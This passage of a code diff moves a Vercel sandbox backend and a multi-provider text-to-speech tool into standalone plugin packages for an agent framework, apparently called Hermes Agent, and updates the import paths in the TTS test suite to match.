plugin capability registry + so core code can look it up without importing from + ``hermes_agent_vercel`` directly. + """ + from hermes_agent_vercel.vercel_sandbox import VercelSandboxEnvironment + ctx.register_tool_provider_entry( + name="vercel", + environment_classes={ + "VercelSandboxEnvironment": VercelSandboxEnvironment, + }, + ) diff --git a/tools/environments/vercel_sandbox.py b/plugins/terminals/vercel/hermes_agent_vercel/vercel_sandbox.py similarity index 98% rename from tools/environments/vercel_sandbox.py rename to plugins/terminals/vercel/hermes_agent_vercel/vercel_sandbox.py index 70edd54ad4a..4e5e5fde8d1 100644 --- a/tools/environments/vercel_sandbox.py +++ b/plugins/terminals/vercel/hermes_agent_vercel/vercel_sandbox.py @@ -45,14 +45,8 @@ _DEFAULT_CONTAINER_DISK_MB = 51200 def _ensure_vercel_sdk() -> None: - """Lazy-install vercel SDK on demand. Idempotent.""" - try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("terminal.vercel", prompt=False) - except ImportError: - pass - except Exception as e: - raise ImportError(str(e)) + """No-op — vercel SDK is now a declared dependency of this plugin package.""" + pass _CREATE_RETRY_ATTEMPTS = 3 diff --git a/plugins/terminals/vercel/plugin.yaml b/plugins/terminals/vercel/plugin.yaml new file mode 100644 index 00000000000..397eba03dbd --- /dev/null +++ b/plugins/terminals/vercel/plugin.yaml @@ -0,0 +1,6 @@ +name: vercel +version: 0.1.0 +description: Vercel Sandbox execution environment +kind: backend +provides_tools: ["vercel_sandbox"] +provides_hooks: [] diff --git a/plugins/terminals/vercel/pyproject.toml b/plugins/terminals/vercel/pyproject.toml new file mode 100644 index 00000000000..53241ea9cf7 --- /dev/null +++ b/plugins/terminals/vercel/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-vercel" +version = "0.1.0" +description = "Vercel Sandbox execution environment plugin for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "vercel==0.5.7", +] + +[project.entry-points."hermes_agent.plugins"] +vercel = "hermes_agent_vercel:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_vercel*"] diff --git a/plugins/tts/__init__.py b/plugins/tts/__init__.py new file mode 100644 index 00000000000..2ba890c12b4 --- /dev/null +++ b/plugins/tts/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_tts.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_tts package.""" + from hermes_agent_tts import register as _inner_register + _inner_register(ctx) diff --git a/plugins/tts/hermes_agent_tts/__init__.py b/plugins/tts/hermes_agent_tts/__init__.py new file mode 100644 index 00000000000..77d8e036e2c --- /dev/null +++ b/plugins/tts/hermes_agent_tts/__init__.py @@ -0,0 +1,30 @@ +"""hermes-agent-tts: Text-to-speech tool plugin for Hermes Agent.""" + +from hermes_agent_tts.tts_tool import ( # noqa: F401 + BUILTIN_TTS_PROVIDERS, + text_to_speech_tool, + check_tts_requirements, + _strip_markdown_for_tts, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group. + + Registers TTS tool functions in the plugin capability registry so + core code (gateway, CLI) can look them up without importing from + ``hermes_agent_tts`` directly. + """ + from hermes_agent_tts.tts_tool import ( + text_to_speech_tool, + check_tts_requirements, + _strip_markdown_for_tts, + ) + ctx.register_tool_provider_entry( + name="tts", + tool_functions={ + "text_to_speech_tool": text_to_speech_tool, + "_strip_markdown_for_tts": _strip_markdown_for_tts, + }, + check_fn=check_tts_requirements, + ) diff --git a/tools/tts_tool.py b/plugins/tts/hermes_agent_tts/tts_tool.py similarity index 98% rename from tools/tts_tool.py rename to plugins/tts/hermes_agent_tts/tts_tool.py index 0c0c7bd203c..85449c31f94 100644 --- a/tools/tts_tool.py +++ b/plugins/tts/hermes_agent_tts/tts_tool.py @@ -29,7 +29,7 @@ Configuration is loaded from ~/.hermes/config.yaml under the 'tts:' key. The user chooses the provider and voice; the model just sends text. Usage: - from tools.tts_tool import text_to_speech_tool, check_tts_requirements + from hermes_agent_tts.tts_tool import text_to_speech_tool, check_tts_requirements result = text_to_speech_tool(text="Hello world") """ @@ -79,34 +79,14 @@ from tools.xai_http import hermes_xai_user_agent def _import_edge_tts(): """Lazy import edge_tts. Returns the module or raises ImportError.""" - try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("tts.edge", prompt=False) - except ImportError: - pass - except Exception as e: - raise ImportError(str(e)) import edge_tts return edge_tts def _import_elevenlabs(): """Lazy import ElevenLabs client. Returns the class or raises ImportError. - Calls :func:`tools.lazy_deps.ensure` first so the SDK gets installed on - demand if the user picked ElevenLabs as their TTS provider but never ran - the post-setup hook (e.g. enabled it by editing config.yaml directly). - Raises ``ImportError`` on lazy-install failure so existing callers' - error-handling paths keep working. + Raises ``ImportError`` if the elevenlabs package is not installed. """ - try: - from tools.lazy_deps import FeatureUnavailable, ensure - ensure("tts.elevenlabs", prompt=False) - except ImportError: - # lazy_deps module itself missing — fall through to the raw import - # so older code paths still get a clean ImportError. - pass - except Exception as e: # FeatureUnavailable or any unexpected error - raise ImportError(str(e)) from elevenlabs.client import ElevenLabs return ElevenLabs diff --git a/plugins/tts/plugin.yaml b/plugins/tts/plugin.yaml new file mode 100644 index 00000000000..6d7d651db0c --- /dev/null +++ b/plugins/tts/plugin.yaml @@ -0,0 +1,6 @@ +name: tts +version: 0.1.0 +description: Text-to-speech tool plugin (Edge TTS + ElevenLabs) +kind: backend +provides_tools: ["tts"] +provides_hooks: [] diff --git a/plugins/tts/pyproject.toml b/plugins/tts/pyproject.toml new file mode 100644 index 00000000000..c22e9637f10 --- /dev/null +++ b/plugins/tts/pyproject.toml @@ -0,0 +1,20 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-tts" +version = "0.1.0" +description = "Text-to-speech tool plugin for Hermes Agent (Edge TTS + ElevenLabs)" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "edge-tts==7.2.7", + "elevenlabs==1.59.0", +] + +[project.entry-points."hermes_agent.plugins"] +tts = "hermes_agent_tts:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_tts*"] diff --git a/tests/tools/test_tts_command_providers.py b/plugins/tts/tests/test_tts_command_providers.py similarity index 98% rename from tests/tools/test_tts_command_providers.py rename to plugins/tts/tests/test_tts_command_providers.py index 583abcb588b..0d8f236e3ae 100644 --- a/tests/tools/test_tts_command_providers.py +++ b/plugins/tts/tests/test_tts_command_providers.py @@ -22,7 +22,7 @@ from unittest.mock import patch import pytest -from tools.tts_tool import ( +from hermes_agent_tts.tts_tool import ( BUILTIN_TTS_PROVIDERS, COMMAND_TTS_OUTPUT_FORMATS, DEFAULT_COMMAND_TTS_MAX_TEXT_LENGTH, @@ -444,7 +444,7 @@ class TestTextToSpeechToolWithCommandProvider: def fake_load(): return cfg["tts"] - with patch("tools.tts_tool._load_tts_config", fake_load): + with patch("hermes_agent_tts.tts_tool._load_tts_config", fake_load): result = text_to_speech_tool(text="hi", output_path=str(out)) data = json.loads(result) assert data["success"] is True, data @@ -468,7 +468,7 @@ class TestTextToSpeechToolWithCommandProvider: } out = tmp_path / "clip.ogg" - with patch("tools.tts_tool._load_tts_config", return_value=cfg): + with patch("hermes_agent_tts.tts_tool._load_tts_config", return_value=cfg): result = text_to_speech_tool(text="hi", output_path=str(out)) data = json.loads(result) assert data["success"] is True @@ -485,7 +485,7 @@ class TestTextToSpeechToolWithCommandProvider: "broken": {"type": "command", "command": " "}, }, } - with patch("tools.tts_tool._load_tts_config", return_value=cfg): + with patch("hermes_agent_tts.tts_tool._load_tts_config", return_value=cfg): result = text_to_speech_tool(text="hi", output_path=str(tmp_path / "x.mp3")) data = json.loads(result) # The response should not carry the command-provider error text. @@ -496,5 +496,5 @@ class TestTextToSpeechToolWithCommandProvider: class TestCheckTtsRequirements: def test_configured_command_provider_satisfies_requirement(self): cfg = {"providers": {"x": {"type": "command", "command": "echo x"}}} - with patch("tools.tts_tool._load_tts_config", return_value=cfg): + with patch("hermes_agent_tts.tts_tool._load_tts_config", return_value=cfg): assert check_tts_requirements() is True diff --git a/tests/tools/test_tts_gemini.py b/plugins/tts/tests/test_tts_gemini.py similarity index 90% rename from tests/tools/test_tts_gemini.py rename to plugins/tts/tests/test_tts_gemini.py index 00a0286748a..268dc4c9b60 100644 --- a/tests/tools/test_tts_gemini.py +++ b/plugins/tts/tests/test_tts_gemini.py @@ -50,7 +50,7 @@ def mock_gemini_response(fake_pcm_bytes): class TestWrapPcmAsWav: def test_riff_header_structure(self): - from tools.tts_tool import _wrap_pcm_as_wav + from hermes_agent_tts.tts_tool import _wrap_pcm_as_wav pcm = b"\x01\x02\x03\x04" * 10 wav = _wrap_pcm_as_wav(pcm, sample_rate=24000, channels=1, sample_width=2) @@ -70,7 +70,7 @@ class TestWrapPcmAsWav: assert wav[44:] == pcm def test_header_size_is_44(self): - from tools.tts_tool import _wrap_pcm_as_wav + from hermes_agent_tts.tts_tool import _wrap_pcm_as_wav pcm = b"\xff" * 100 wav = _wrap_pcm_as_wav(pcm) @@ -79,14 +79,14 @@ class TestWrapPcmAsWav: class TestGenerateGeminiTts: def test_missing_api_key_raises_value_error(self, tmp_path): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts output_path = str(tmp_path / "test.wav") with pytest.raises(ValueError, match="GEMINI_API_KEY"): _generate_gemini_tts("Hello", output_path, {}) def test_google_api_key_fallback(self, tmp_path, monkeypatch, mock_gemini_response): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GOOGLE_API_KEY", "from-google-env") output_path = str(tmp_path / "test.wav") @@ -99,7 +99,7 @@ class TestGenerateGeminiTts: assert kwargs["params"]["key"] == "from-google-env" def test_wav_output_fast_path(self, tmp_path, monkeypatch, mock_gemini_response, fake_pcm_bytes): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") output_path = str(tmp_path / "test.wav") @@ -115,7 +115,7 @@ class TestGenerateGeminiTts: assert data[44:] == fake_pcm_bytes def test_default_voice_and_model(self, tmp_path, monkeypatch, mock_gemini_response): - from tools.tts_tool import ( + from hermes_agent_tts.tts_tool import ( DEFAULT_GEMINI_TTS_MODEL, DEFAULT_GEMINI_TTS_VOICE, _generate_gemini_tts, @@ -136,7 +136,7 @@ class TestGenerateGeminiTts: assert voice == DEFAULT_GEMINI_TTS_VOICE def test_custom_voice(self, tmp_path, monkeypatch, mock_gemini_response): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") config = {"gemini": {"voice": "Puck"}} @@ -152,7 +152,7 @@ class TestGenerateGeminiTts: assert voice == "Puck" def test_custom_model(self, tmp_path, monkeypatch, mock_gemini_response): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") config = {"gemini": {"model": "gemini-2.5-pro-preview-tts"}} @@ -164,7 +164,7 @@ class TestGenerateGeminiTts: assert "gemini-2.5-pro-preview-tts" in endpoint def test_response_modality_is_audio(self, tmp_path, monkeypatch, mock_gemini_response): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") @@ -175,7 +175,7 @@ class TestGenerateGeminiTts: assert payload["generationConfig"]["responseModalities"] == ["AUDIO"] def test_http_error_raises_runtime_error(self, tmp_path, monkeypatch): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") err_resp = MagicMock() @@ -187,7 +187,7 @@ class TestGenerateGeminiTts: _generate_gemini_tts("Hi", str(tmp_path / "test.wav"), {}) def test_empty_audio_raises(self, tmp_path, monkeypatch): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") resp = MagicMock() @@ -203,7 +203,7 @@ class TestGenerateGeminiTts: _generate_gemini_tts("Hi", str(tmp_path / "test.wav"), {}) def test_malformed_response_raises(self, tmp_path, monkeypatch): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") resp = MagicMock() @@ -216,7 +216,7 @@ class TestGenerateGeminiTts: def test_snake_case_inline_data_accepted(self, tmp_path, monkeypatch, fake_pcm_bytes): """Some Gemini SDK versions return inline_data instead of inlineData.""" - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") resp = MagicMock() @@ -245,7 +245,7 @@ class TestGenerateGeminiTts: assert data[:4] == b"RIFF" def test_custom_base_url_env(self, tmp_path, monkeypatch, mock_gemini_response): - from tools.tts_tool import _generate_gemini_tts + from hermes_agent_tts.tts_tool import _generate_gemini_tts monkeypatch.setenv("GEMINI_API_KEY", "test-key") monkeypatch.setenv("GEMINI_BASE_URL", "https://custom-gemini.example.com/v1beta") @@ -258,7 +258,7 @@ class TestGenerateGeminiTts: class TestGeminiInCheckRequirements: def test_gemini_api_key_satisfies_requirements(self, monkeypatch): - from tools.tts_tool import check_tts_requirements + from hermes_agent_tts.tts_tool import check_tts_requirements # Strip everything else for key in ( diff --git a/tests/tools/test_tts_kittentts.py b/plugins/tts/tests/test_tts_kittentts.py similarity index 90% rename from tests/tools/test_tts_kittentts.py rename to plugins/tts/tests/test_tts_kittentts.py index f4918df4496..ec9dbe35337 100644 --- a/tests/tools/test_tts_kittentts.py +++ b/plugins/tts/tests/test_tts_kittentts.py @@ -15,7 +15,7 @@ def clean_env(monkeypatch): @pytest.fixture(autouse=True) def clear_kittentts_cache(): """Reset the module-level model cache between tests.""" - from tools import tts_tool as _tt + from hermes_agent_tts import tts_tool as _tt _tt._kittentts_model_cache.clear() yield _tt._kittentts_model_cache.clear() @@ -49,7 +49,7 @@ def mock_kittentts_module(): class TestGenerateKittenTts: def test_successful_wav_generation(self, tmp_path, mock_kittentts_module): - from tools.tts_tool import _generate_kittentts + from hermes_agent_tts.tts_tool import _generate_kittentts fake_model, fake_cls = mock_kittentts_module output_path = str(tmp_path / "test.wav") @@ -61,7 +61,7 @@ class TestGenerateKittenTts: fake_model.generate.assert_called_once() def test_config_passes_voice_speed_cleantext(self, tmp_path, mock_kittentts_module): - from tools.tts_tool import _generate_kittentts + from hermes_agent_tts.tts_tool import _generate_kittentts fake_model, _ = mock_kittentts_module config = { @@ -80,7 +80,7 @@ class TestGenerateKittenTts: assert call_kwargs["clean_text"] is False def test_default_model_and_voice(self, tmp_path, mock_kittentts_module): - from tools.tts_tool import ( + from hermes_agent_tts.tts_tool import ( DEFAULT_KITTENTTS_MODEL, DEFAULT_KITTENTTS_VOICE, _generate_kittentts, @@ -93,7 +93,7 @@ class TestGenerateKittenTts: assert fake_model.generate.call_args.kwargs["voice"] == DEFAULT_KITTENTTS_VOICE def test_model_is_cached_across_calls(self, tmp_path, mock_kittentts_module): - from tools.tts_tool import _generate_kittentts + from hermes_agent_tts.tts_tool import _generate_kittentts _, fake_cls = mock_kittentts_module _generate_kittentts("One", str(tmp_path / "a.wav"), {}) @@ -103,7 +103,7 @@ class TestGenerateKittenTts: assert fake_cls.call_count == 1 def test_different_models_are_cached_separately(self, tmp_path, mock_kittentts_module): - from tools.tts_tool import _generate_kittentts + from hermes_agent_tts.tts_tool import _generate_kittentts _, fake_cls = mock_kittentts_module _generate_kittentts( @@ -121,7 +121,7 @@ class TestGenerateKittenTts: self, tmp_path, mock_kittentts_module, monkeypatch ): """Non-.wav output path causes WAV → target ffmpeg conversion.""" - from tools import tts_tool as _tt + from hermes_agent_tts import tts_tool as _tt calls = [] @@ -150,7 +150,7 @@ class TestGenerateKittenTts: """When kittentts package is not installed, _import_kittentts raises.""" import sys monkeypatch.setitem(sys.modules, "kittentts", None) - from tools.tts_tool import _generate_kittentts + from hermes_agent_tts.tts_tool import _generate_kittentts with pytest.raises((ImportError, TypeError)): _generate_kittentts("Hi", str(tmp_path / "out.wav"), {}) @@ -159,7 +159,7 @@ class TestGenerateKittenTts: class TestCheckKittenttsAvailable: def test_reports_available_when_package_present(self, monkeypatch): import importlib.util - from tools.tts_tool import _check_kittentts_available + from hermes_agent_tts.tts_tool import _check_kittentts_available fake_spec = MagicMock() monkeypatch.setattr( @@ -170,7 +170,7 @@ class TestCheckKittenttsAvailable: def test_reports_unavailable_when_package_missing(self, monkeypatch): import importlib.util - from tools.tts_tool import _check_kittentts_available + from hermes_agent_tts.tts_tool import _check_kittentts_available monkeypatch.setattr(importlib.util, "find_spec", lambda name: None) assert _check_kittentts_available() is False @@ -183,7 +183,7 @@ class TestDispatcherBranch: monkeypatch.setitem(sys.modules, "kittentts", None) monkeypatch.setenv("HERMES_HOME", str(tmp_path)) - from tools.tts_tool import text_to_speech_tool + from hermes_agent_tts.tts_tool import text_to_speech_tool # Write a config telling it to use kittentts import yaml diff --git a/tests/tools/test_tts_max_text_length.py b/plugins/tts/tests/test_tts_max_text_length.py similarity index 90% rename from tests/tools/test_tts_max_text_length.py rename to plugins/tts/tests/test_tts_max_text_length.py index 38a763ea78c..5b3eb47381b 100644 --- a/tests/tools/test_tts_max_text_length.py +++ b/plugins/tts/tests/test_tts_max_text_length.py @@ -10,7 +10,7 @@ from unittest.mock import patch import pytest -from tools.tts_tool import ( +from hermes_agent_tts.tts_tool import ( ELEVENLABS_MODEL_MAX_TEXT_LENGTH, FALLBACK_MAX_TEXT_LENGTH, PROVIDER_MAX_TEXT_LENGTH, @@ -136,11 +136,11 @@ class TestTextToSpeechToolTruncation: f.write(b"\x00") return out - monkeypatch.setattr("tools.tts_tool._generate_openai_tts", fake_openai) - monkeypatch.setattr("tools.tts_tool._load_tts_config", + monkeypatch.setattr("hermes_agent_tts.tts_tool._generate_openai_tts", fake_openai) + monkeypatch.setattr("hermes_agent_tts.tts_tool._load_tts_config", lambda: {"provider": "openai"}) - from tools.tts_tool import text_to_speech_tool + from hermes_agent_tts.tts_tool import text_to_speech_tool out = str(tmp_path / "out.mp3") result = json.loads(text_to_speech_tool(text=text, output_path=out)) @@ -161,11 +161,11 @@ class TestTextToSpeechToolTruncation: f.write(b"\x00") return out - monkeypatch.setattr("tools.tts_tool._generate_xai_tts", fake_xai) - monkeypatch.setattr("tools.tts_tool._load_tts_config", + monkeypatch.setattr("hermes_agent_tts.tts_tool._generate_xai_tts", fake_xai) + monkeypatch.setattr("hermes_agent_tts.tts_tool._load_tts_config", lambda: {"provider": "xai"}) - from tools.tts_tool import text_to_speech_tool + from hermes_agent_tts.tts_tool import text_to_speech_tool out = str(tmp_path / "out.mp3") result = json.loads(text_to_speech_tool(text=text, output_path=out)) @@ -184,12 +184,12 @@ class TestTextToSpeechToolTruncation: f.write(b"\x00") return out - monkeypatch.setattr("tools.tts_tool._generate_openai_tts", fake_openai) - monkeypatch.setattr("tools.tts_tool._load_tts_config", + monkeypatch.setattr("hermes_agent_tts.tts_tool._generate_openai_tts", fake_openai) + monkeypatch.setattr("hermes_agent_tts.tts_tool._load_tts_config", lambda: {"provider": "openai", "openai": {"max_text_length": 100}}) - from tools.tts_tool import text_to_speech_tool + from hermes_agent_tts.tts_tool import text_to_speech_tool out = str(tmp_path / "out.mp3") result = json.loads(text_to_speech_tool(text=text, output_path=out)) diff --git a/tests/tools/test_tts_mistral.py b/plugins/tts/tests/test_tts_mistral.py similarity index 76% rename from tests/tools/test_tts_mistral.py rename to plugins/tts/tests/test_tts_mistral.py index 818a6c1d117..fb3c06c8d94 100644 --- a/tests/tools/test_tts_mistral.py +++ b/plugins/tts/tests/test_tts_mistral.py @@ -26,14 +26,14 @@ def mock_mistral_module(): class TestGenerateMistralTts: def test_missing_api_key_raises_value_error(self, tmp_path, mock_mistral_module): - from tools.tts_tool import _generate_mistral_tts + from hermes_agent_tts.tts_tool import _generate_mistral_tts output_path = str(tmp_path / "test.mp3") with pytest.raises(ValueError, match="MISTRAL_API_KEY"): _generate_mistral_tts("Hello", output_path, {}) def test_successful_generation(self, tmp_path, mock_mistral_module, monkeypatch): - from tools.tts_tool import _generate_mistral_tts + from hermes_agent_tts.tts_tool import _generate_mistral_tts monkeypatch.setenv("MISTRAL_API_KEY", "test-key") audio_content = b"fake-audio-bytes" @@ -59,7 +59,7 @@ class TestGenerateMistralTts: def test_response_format_from_extension( self, tmp_path, mock_mistral_module, monkeypatch, extension, expected_format ): - from tools.tts_tool import _generate_mistral_tts + from hermes_agent_tts.tts_tool import _generate_mistral_tts monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.speech.complete.return_value = MagicMock( @@ -75,7 +75,7 @@ class TestGenerateMistralTts: def test_voice_id_passed_when_configured( self, tmp_path, mock_mistral_module, monkeypatch ): - from tools.tts_tool import _generate_mistral_tts + from hermes_agent_tts.tts_tool import _generate_mistral_tts monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.speech.complete.return_value = MagicMock( @@ -91,7 +91,7 @@ class TestGenerateMistralTts: def test_default_voice_id_when_absent( self, tmp_path, mock_mistral_module, monkeypatch ): - from tools.tts_tool import DEFAULT_MISTRAL_TTS_VOICE_ID, _generate_mistral_tts + from hermes_agent_tts.tts_tool import DEFAULT_MISTRAL_TTS_VOICE_ID, _generate_mistral_tts monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.speech.complete.return_value = MagicMock( @@ -106,7 +106,7 @@ class TestGenerateMistralTts: def test_default_voice_id_when_empty_string( self, tmp_path, mock_mistral_module, monkeypatch ): - from tools.tts_tool import DEFAULT_MISTRAL_TTS_VOICE_ID, _generate_mistral_tts + from hermes_agent_tts.tts_tool import DEFAULT_MISTRAL_TTS_VOICE_ID, _generate_mistral_tts monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.speech.complete.return_value = MagicMock( @@ -120,7 +120,7 @@ class TestGenerateMistralTts: assert call_kwargs["voice_id"] == DEFAULT_MISTRAL_TTS_VOICE_ID def test_api_error_sanitized(self, tmp_path, mock_mistral_module, monkeypatch): - from tools.tts_tool import _generate_mistral_tts + from hermes_agent_tts.tts_tool import _generate_mistral_tts monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.speech.complete.side_effect = RuntimeError( @@ -132,7 +132,7 @@ class TestGenerateMistralTts: assert "secret-key-in-error" not in str(exc_info.value) def test_default_model_used(self, tmp_path, mock_mistral_module, monkeypatch): - from tools.tts_tool import DEFAULT_MISTRAL_TTS_MODEL, _generate_mistral_tts + from hermes_agent_tts.tts_tool import DEFAULT_MISTRAL_TTS_MODEL, _generate_mistral_tts monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.speech.complete.return_value = MagicMock( @@ -147,7 +147,7 @@ class TestGenerateMistralTts: def test_model_from_config_overrides_default( self, tmp_path, mock_mistral_module, monkeypatch ): - from tools.tts_tool import _generate_mistral_tts + from hermes_agent_tts.tts_tool import _generate_mistral_tts monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.speech.complete.return_value = MagicMock( @@ -174,12 +174,12 @@ class TestTtsDispatcherMistral: """ import json - from tools.tts_tool import text_to_speech_tool + from hermes_agent_tts.tts_tool import text_to_speech_tool monkeypatch.setenv("MISTRAL_API_KEY", "test-key") output_path = str(tmp_path / "out.mp3") - with patch("tools.tts_tool._load_tts_config", return_value={"provider": "mistral"}): + with patch("hermes_agent_tts.tts_tool._load_tts_config", return_value={"provider": "mistral"}): result = json.loads(text_to_speech_tool("Hello", output_path=output_path)) assert result["success"] is False @@ -192,12 +192,12 @@ class TestTtsDispatcherMistral: """Same disabled message regardless of SDK presence.""" import json - from tools.tts_tool import text_to_speech_tool + from hermes_agent_tts.tts_tool import text_to_speech_tool monkeypatch.setenv("MISTRAL_API_KEY", "test-key") with patch( - "tools.tts_tool._import_mistral_client", side_effect=ImportError("no module") - ), patch("tools.tts_tool._load_tts_config", return_value={"provider": "mistral"}): + "hermes_agent_tts.tts_tool._import_mistral_client", side_effect=ImportError("no module") + ), patch("hermes_agent_tts.tts_tool._load_tts_config", return_value={"provider": "mistral"}): result = json.loads( text_to_speech_tool("Hello", output_path=str(tmp_path / "out.mp3")) ) @@ -208,23 +208,23 @@ class TestTtsDispatcherMistral: class TestCheckTtsRequirementsMistral: def test_mistral_sdk_and_key_returns_true(self, mock_mistral_module, monkeypatch): - from tools.tts_tool import check_tts_requirements + from hermes_agent_tts.tts_tool import check_tts_requirements monkeypatch.setenv("MISTRAL_API_KEY", "test-key") - with patch("tools.tts_tool._import_edge_tts", side_effect=ImportError), \ - patch("tools.tts_tool._import_elevenlabs", side_effect=ImportError), \ - patch("tools.tts_tool._import_openai_client", side_effect=ImportError), \ - patch("tools.tts_tool._check_neutts_available", return_value=False): + with patch("hermes_agent_tts.tts_tool._import_edge_tts", side_effect=ImportError), \ + patch("hermes_agent_tts.tts_tool._import_elevenlabs", side_effect=ImportError), \ + patch("hermes_agent_tts.tts_tool._import_openai_client", side_effect=ImportError), \ + patch("hermes_agent_tts.tts_tool._check_neutts_available", return_value=False): assert check_tts_requirements() is True def test_mistral_key_missing_returns_false(self, mock_mistral_module): - from tools.tts_tool import check_tts_requirements + from hermes_agent_tts.tts_tool import check_tts_requirements - with patch("tools.tts_tool._import_edge_tts", side_effect=ImportError), \ - patch("tools.tts_tool._import_elevenlabs", side_effect=ImportError), \ - patch("tools.tts_tool._import_openai_client", side_effect=ImportError), \ - patch("tools.tts_tool._check_neutts_available", return_value=False), \ - patch("tools.tts_tool._check_kittentts_available", return_value=False), \ - patch("tools.tts_tool._check_piper_available", return_value=False), \ - patch("tools.tts_tool._has_any_command_tts_provider", return_value=False): + with patch("hermes_agent_tts.tts_tool._import_edge_tts", side_effect=ImportError), \ + patch("hermes_agent_tts.tts_tool._import_elevenlabs", side_effect=ImportError), \ + patch("hermes_agent_tts.tts_tool._import_openai_client", side_effect=ImportError), \ + patch("hermes_agent_tts.tts_tool._check_neutts_available", return_value=False), \ + patch("hermes_agent_tts.tts_tool._check_kittentts_available", return_value=False), \ + patch("hermes_agent_tts.tts_tool._check_piper_available", return_value=False), \ + patch("hermes_agent_tts.tts_tool._has_any_command_tts_provider", return_value=False): assert check_tts_requirements() is False diff --git a/tests/tools/test_tts_path_traversal.py b/plugins/tts/tests/test_tts_path_traversal.py similarity index 97% rename from tests/tools/test_tts_path_traversal.py rename to plugins/tts/tests/test_tts_path_traversal.py index e6b20d817c0..8c2b6eeff8d 100644 --- a/tests/tools/test_tts_path_traversal.py +++ b/plugins/tts/tests/test_tts_path_traversal.py @@ -9,7 +9,7 @@ always either a bug or prompt-injection-controlled import json -from tools.tts_tool import text_to_speech_tool +from hermes_agent_tts import text_to_speech_tool def test_output_path_rejects_traversal_escape(): diff --git a/tests/tools/test_tts_piper.py b/plugins/tts/tests/test_tts_piper.py similarity index 96% rename from tests/tools/test_tts_piper.py rename to plugins/tts/tests/test_tts_piper.py index ef7330a18c9..dfd77c8d6b9 100644 --- a/tests/tools/test_tts_piper.py +++ b/plugins/tts/tests/test_tts_piper.py @@ -14,8 +14,8 @@ from unittest.mock import MagicMock, patch import pytest -from tools import tts_tool -from tools.tts_tool import ( +from hermes_agent_tts import tts_tool +from hermes_agent_tts.tts_tool import ( BUILTIN_TTS_PROVIDERS, DEFAULT_PIPER_VOICE, PROVIDER_MAX_TEXT_LENGTH, @@ -67,7 +67,7 @@ class TestResolvePiperVoicePath: (tmp_path / f"{voice}.onnx").write_bytes(b"model") (tmp_path / f"{voice}.onnx.json").write_text("{}") - with patch("tools.tts_tool.subprocess.run") as mock_run: + with patch("hermes_agent_tts.tts_tool.subprocess.run") as mock_run: result = _resolve_piper_voice_path(voice, tmp_path) mock_run.assert_not_called() @@ -82,7 +82,7 @@ class TestResolvePiperVoicePath: (tmp_path / f"{voice}.onnx.json").write_text("{}") return MagicMock(returncode=0, stderr="", stdout="") - with patch("tools.tts_tool.subprocess.run", side_effect=fake_run) as mock_run: + with patch("hermes_agent_tts.tts_tool.subprocess.run", side_effect=fake_run) as mock_run: result = _resolve_piper_voice_path(voice, tmp_path) mock_run.assert_called_once() @@ -97,7 +97,7 @@ class TestResolvePiperVoicePath: def test_download_failure_raises_runtime(self, tmp_path): voice = "en_US-broken-medium" fake_result = MagicMock(returncode=1, stderr="voice not found", stdout="") - with patch("tools.tts_tool.subprocess.run", return_value=fake_result): + with patch("hermes_agent_tts.tts_tool.subprocess.run", return_value=fake_result): with pytest.raises(RuntimeError, match="Piper voice download failed"): _resolve_piper_voice_path(voice, tmp_path) @@ -105,7 +105,7 @@ class TestResolvePiperVoicePath: voice = "en_US-weird-medium" fake_result = MagicMock(returncode=0, stderr="", stdout="") # Subprocess "succeeds" but doesn't actually write the files. - with patch("tools.tts_tool.subprocess.run", return_value=fake_result): + with patch("hermes_agent_tts.tts_tool.subprocess.run", return_value=fake_result): with pytest.raises(RuntimeError, match="completed but .+ is missing"): _resolve_piper_voice_path(voice, tmp_path) diff --git a/tests/tools/test_tts_speed.py b/plugins/tts/tests/test_tts_speed.py similarity index 94% rename from tests/tools/test_tts_speed.py rename to plugins/tts/tests/test_tts_speed.py index d9274bb84d7..0442ff25a5a 100644 --- a/tests/tools/test_tts_speed.py +++ 